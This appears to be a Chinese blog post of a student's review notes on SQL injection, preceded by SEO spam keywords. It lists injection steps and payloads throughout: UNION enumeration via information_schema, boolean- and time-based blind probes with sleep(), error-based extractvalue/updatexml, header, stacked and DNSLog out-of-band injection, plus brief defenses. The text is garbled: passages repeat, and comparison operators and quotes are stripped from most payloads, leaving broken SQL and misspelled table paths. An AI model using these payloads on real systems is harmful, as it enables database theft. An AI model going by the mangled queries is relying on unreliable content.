在线做网页的网站,网站备案密码使用,山西网络科技有限公司,移动端网站怎么做seo又到了期末时间段#xff0c;此文章是自己总结所学#xff0c;仅供参考。
目录#xff1a;
一、原理 一般流程
二、分类 按照请求分类 盲注分类 按照头部字段 其他类型
三、防御 代码层面 网络层面
一、原理#xff1a; 后端web服务器对用户输入的恶意字符过滤不严此文章是自己总结所学仅供参考。
目录
一、原理 一般流程
二、分类 按照请求分类 盲注分类 按照头部字段 其他类型
三、防御 代码层面 网络层面
一、原理 后端web服务器对用户输入的恶意字符过滤不严导致带入到后端数据库去执行造成数据泄露。
一般流程
寻找注入点 ?id1
判断闭合方式 ,,),)),),))
判断当前数据库字段个数 order by二分法
判断数据回显位置
获取数据库的基本信息 union,版本,当前用户,当前数据库
获取数据库名
select group_concat(schema_name) from infromation_schema.schemata
获取数据库指定的表名
select group_concat(table_name) from infromation_schema.schemata.tables where table_schemadbname
获取数据库指定表的字段名
select group_concat(column_name) from infromation_schema.schemata.columns where table_schemadatabase() and table_nametbname
获取指定数据表的数据
database() 获取当前数据库名
user() 获取用户名
version() 获取数据库版本信息
重要的3个表 存库名的表schemata 存表名的表tables 存列名的表columns
二、分类 按照请求分类 GET注入 POST注入 盲注分类 布尔盲注 布尔盲注相关函数 left-返回字符串string最左边的n个字符串 (字符串,截取的长度)
left(string,n)
参数string为操作字符串n为开始位置$ret left(“redhat”,3); //red
left(database(),2)sa #判断数据库名前2个字符是否位sa再查看其他位进行判断 right-返回字符串string最右边的n个字符串 (字符串,截取的长度)
right(string,n)
参数string为操作字符串n为开始位置$ret right(“redhat”,3); //hat
right(database(),1)’a’ #判断数据库名最后一个字符是否大于a再查看其他位进行判断 ord- char为字符用于返回字符的ascii码有时候服务器会对单引号进行转义使用ASCII码就不用使用单引号参数 (单个字符);返回ASCII值
ord(char)
参数char为操作$ret char(a); # 97
ord(mid(database(),1,1))114 #意为检测database()的第一位ASCII码是否大于114也即是r ascii- 返回字符char的ascii码 ( 和ord是别名关系 ) (单个字符); 返回ASCII值
ascii(char)
参数char为操作$ret ascii(a); # 97
ascii(mid(database(),1,1))114 #意为检测database()的第一位ASCII码是否大于114也即是r lenght - 获取字符串的长度
length(string)
参数及返回值string为操作字符串返回字符串string的长度举例1
$ret length(“hello”); // 5
举例2
length(database())5 #判断数据库名长度大于5
需要的条件是页面数据显示或不显示 真和假的条件注入流程1 找注入点2 判断数据类型3 判断闭合方式4 验证漏洞id1 and 1 或 id1 and 05 猜数据库的长度id1 and length(database())106 猜数据库名称的第一个字符方式1id1 and substr(database(),1,1)a and substr(database(),1,1)z方式2id1 and ascii(substr(database(),1,1))97 and ascii(substr(database(),1,1))1227 猜数据表名的长度id1 and length((查表的SQL语句))10查表的SQL语句select table_name from information_schema.tables where table_schemadatabase() limit 0,18 猜数据库名称的第一个字符id1 and substr((查表的SQL语句),1,1)a and substr((查表的SQL语句),1,1)z查表的SQL语句select table_name from information_schema.tables where table_schemadatabase() limit 0,1时间盲注 时间盲注相关函数 sleep(); if(条件 真执行这里 假执行这里);
需要的条件是页面没有任何变化注入流程1 判断闭合方式id1 and if(true, sleep(5), ok) --id1 and if(true, sleep(5), ok) --id1) and if(true, sleep(5), ok) --id1) and if(true, sleep(5), ok) --id1)) and if(true, sleep(5), ok) --id1)) and if(true, sleep(5), ok) -- 报错注入 需要的条件是需要显示报错报错注入的方式extractvalue(1, 2) 操作2的位置语法 and extractvalue(1, 2)updatexml(1, 2, 3) 操作2的位置语法 and updatexml(1, 2, 3)floor()语法 需要联合查询*注意列数*按照头部字段 UA注入 User Agent 中文名为用户代理简称 UA它是一个特殊字符串头
使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器
渲染引擎、浏览器语言、浏览器插件等 Referer 注入
HTTP Referer是header的一部分当浏览器向web服务器发送请求的时候
一般会带上Referer告诉服务器该网页是从哪个页面链接过来的
服务器因此可以获得一些信息用于处理 。 XFF注入
X-Forwarded-For简称XFF头代表了HTTP的请求端真实的IP是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源IP地址的一个标准
通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件通过修改XXF头可以实现伪造IP Cookie注入
HTTP协议本身是无状态的什么是无状态呢即服务器无法判断用户身份Cookie实际上是一小段的文本信息key-value格式用于记录用户状态Cookie注入一般是因为后台程序读取了cookie中的数据并带入到数据库中执行了 其他类型 联合注入 JSON注入
JSON(JavaScript Object Notation, JS 对象记法) 是一种轻量级的数据交换格式。
它基于 ECMAScript (欧洲计算机协会制定的js规范)的一个子集采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。
易于人阅读和编写同时也易于机器解析和生成并有效地提升网络传输效率 。 编码注入 利用编码工具进行编码 二次注入
后端代码对用户输入的数据进行了转义保存到数据库时没有转义再次读取数据库的数据时没有对数据中的特殊字符转义可形成闭合导致二次注入 堆叠注入
堆叠注入概念在 SQL语句 中 分号; 用来表示一条 sql 语句的结束
如果在 ; 结束一个 sql语句后继续构造下一条语句 分号之后的sql语句也会执行
这个类型的注入称为堆叠注入 。 宽字节注入 DNSLog注入 DNSlog就是日志如何利用DNSlog进行注入并回显信息呢。需要了解多级域名的概念。
域名分级与域名解析过程(DNS)因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分按机构组织划分)
域可被划分为子域子域可再被划分即形成了顶级域名二级域名、三级域名等。
从右向左为顶级域名、二级域名、三级域名等用点隔开。如: tieba.baidu.com它由三个标号组成, com即为顶级域名baidu为二级域名tieba即为三级域名。且域名不分区大小写
推荐DNSlog平台DNSLog Platformhttp://admin.dnslog.linkCEYE - Monitor service for security testing 推荐DNSlog平台 DNSLog Platform http://admin.dnslog.link CEYE - Monitor service for security testing
三、防御
代码层面 对用户输入的字符进行关键字过滤和转意 命令的预处理和参数化
网络层面 开启WAF对sQL特征进行过滤处理 日云湍眠务对SGL注入拦截(阿里云盾)
此文章是自己总结所学仅供参考。